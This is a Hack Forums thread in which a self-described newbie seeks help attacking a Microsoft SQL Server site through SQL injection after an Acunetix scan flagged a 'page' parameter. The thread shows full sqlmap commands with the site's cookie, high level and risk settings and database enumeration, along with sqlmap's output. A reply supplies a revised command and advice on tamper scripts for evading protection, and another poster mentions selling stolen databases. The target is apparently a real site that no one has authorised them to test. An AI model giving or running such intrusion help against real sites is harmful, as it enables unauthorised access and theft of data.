+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449)
+---- Forum: Website Hacking (https://hackforums.net/forumdisplay.php?fid=43)
+----- Forum: SQL Injection Attacks (https://hackforums.net/forumdisplay.php?fid=103)
+----- Thread: [Help] sql injection not working on micorsoft sql server (/showthread.php?tid=6271071)
[Help] sql injection not working on micorsoft sql server - gituser102 - May 14, 2024
Details:
SQL injection
URL:
h_t_tps://vulun_domain/api/dashboard/aff_info_list[dot]asp
Parameter: page
Attack Details: URL encoded GET input page was set to 1'"
Error message found: Microsoft OLE DB Provider for SQL Server
==================================================
Hello, HF members.
How are you?
I am a newbie about sqlmap.
I am going to attack mssql server written with asp, but Acunetix said that it has sql injection.
vulun link is as follows: ht_t_ps[://]vulun_domain/api/dashboard/aff_list[dot]asp and get param is page
so acunetix set it as /api/dashboard/aff_info_list[dot]asp?_=1715688639659&page=1'"
95% confidence open
And i have tried like this
sqlmap -u "h_tt_ps[://]vulun_domain/api/dashboard/aff_info_list[dot]asp?_=1715688639659&page=1" -method GET -p page --os "Windows" --dbms=mssql --cookie="i have setup cookie of this site" --header="User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" --level 5 --risk 3 -v 3 --dbs
sqlmap Result: [WARNING] GET parameter 'page' does not seem to be injectable
[CRITICAL] all tested parameters do not appear to be injectable. As heuristic test turned out positive you are strongly advised to continue on with the tests. If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could try to use option '--tamper' (e.g. '--tamper=space2comment') and/or switch '--random-agent'
so i tried with --tamper=space2commnet and --random-agent also
but same result
what should i do in this situation?
Any help thanks.
RE: [Help] sql injection not working on micorsoft sql server - RonyKingSourcing - May 14, 2024
Reading through this.
I really wish i could help, but obviously i cant here.
I really hope you get the help you need.
I know how hard sometimes it is.
I'm stepping away from SQLi. Im really looking for teams we can work together. My core strength is into sales of db.
I really wish to focus on that line.
RE: [Help] sql injection not working on micorsoft sql server - SqlimaX - May 18, 2024
sqlmap -u "h_tt_ps[://]vulun_domain/api/dashboard/aff_info_list[dot]asp?_=1715688639659&page=1" -method GET -p page --os "Windows" --dbms=mssql --cookie="i have setup cookie of this site" --header="User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" --level 5 --risk 3 -v 3 --dbs
Try this sqlmap.py -u "yourwebsite.blablaasp?29438752324523&page=1" --dbms="Microsoft SQL Server" --random-agent --no-cast --level 5 --risk 3 --dbs
do a at page=1 for set a injection point and or typ -p page and let this running - and when it called nothing found - try to work with tamperscript if you sure that there is a vuln
RE: [Help] sql injection not working on micorsoft sql server - gituser102 - May 27, 2024
thanks Sqlimax.
I will try